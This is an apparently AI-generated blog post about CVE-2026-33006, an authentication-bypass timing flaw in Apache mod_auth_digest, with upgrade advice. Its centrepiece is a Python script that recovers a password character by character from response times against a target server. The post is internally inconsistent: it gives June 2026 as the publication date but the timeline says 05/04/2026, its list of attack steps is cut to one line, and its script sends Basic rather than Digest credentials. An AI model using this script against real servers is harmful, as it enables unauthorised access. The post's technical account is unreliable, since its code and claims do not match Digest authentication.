In June 2026, a serious vulnerability was published—CVE-2026-33006—affecting the popular Apache HTTP Server version 2.4.66. This flaw lives within mod_auth_digest, an Apache module used to secure web resources with Digest access authentication. Due to a timing attack vector, attackers can bypass authentication on affected systems. Let’s break down how this happened, see how the timing attack works, and review how you can protect your servers.

What is mod_auth_digest?

mod_auth_digest is an Apache module. It protects web resources using HTTP Digest authentication, which is stronger than Basic authentication because it doesn’t transmit plaintext passwords.

Unfortunately, in Apache 2.4.66, a bug made it possible for an attacker to determine valid credentials—or even bypass authentication altogether—simply by measuring how long the server took to process login attempts.

How Does the Timing Attack Work?

Timing attacks rely on subtle differences in response time. When you submit a request with a username and password, the authentication logic might compare strings in a way that leaks information based on how long the check takes. An attacker can abuse this pattern in the following way:

Iterate until the whole password is revealed or authentication is bypassed.

In the case of CVE-2026-33006, the mod_auth_digest module compared user credentials in a way that was vulnerable to timing attacks—enabling attackers to bypass authentication altogether.

Code Snippet - Proof of Concept (Python)

Here’s a minimal example of how an attacker might approach exploiting this flaw with Python. This code is for educational purposes only! It shows how you might measure timing differences in digest authentication responses:

import requests
import time
import string

# Change these to target your vulnerable Apache server!
URL = 'http://target-apache-server/digest-protected';
USERNAME = 'admin'
PASSWORD_LENGTH = 8  # Guess based on your setup
CHARS = string.ascii_letters + string.digits

def timed_request(username, password):
    start = time.perf_counter()
    response = requests.get(URL, auth=(username, password))
    elapsed = time.perf_counter() - start
    return elapsed, response.status_code

def guess_password():
    password = ''
    for i in range(PASSWORD_LENGTH):
        timings = {}
        for c in CHARS:
            attempt = password + c + 'A' * (PASSWORD_LENGTH - len(password) - 1)
            t, status = timed_request(USERNAME, attempt)
            timings[c] = t
            print(f"Trying {attempt} - took {t:.5f}s - status {status}")
        # Pick char with highest average time
        max_char = max(timings, key=timings.get)
        password += max_char
        print(f"Guessed so far: {password}")
    return password

if __name__ == '__main__':
    print("Starting timing attack on mod_auth_digest...")
    found_password = guess_password()
    print(f"Likely password: {found_password}")

This script will try different characters and check how long the server takes to respond. The slowest responses often indicate more matching with the real password (due to how the vulnerable digest check is coded).

Original References

- Official CVE Entry
- Apache Security Advisory (HTTPS)
- mod_auth_digest Documentation

Mitigation

Upgrade Apache HTTP Server to version 2.4.67 or later. The Apache team has released 2.4.67 to fix this flaw—mod_auth_digest now compares credentials in a constant-time way to prevent all timing attacks.

Temporarily disable Digest authentication.

- Switch to a more secure authentication mechanism (like mod_auth_openidc, or a reverse proxy with external authentication).

Conclusion

CVE-2026-33006 is a real-world example of how even well-known authentication methods can be compromised by subtle bugs like timing leaks. If you run Apache HTTP Server 2.4.66 or earlier with mod_auth_digest, you are at risk! Upgrade as soon as possible, and remember: always use constant-time comparison for secrets, especially in authentication code.

Stay safe and patch early!

*This post is original content authored exclusively for this request. For an in-depth technical deep dive, always consult the official security advisories and reference documentation linked above.*

Timeline

Published on: 05/04/2026 14:42:03 UTC
Last modified on: 05/04/2026 20:23:31 UTC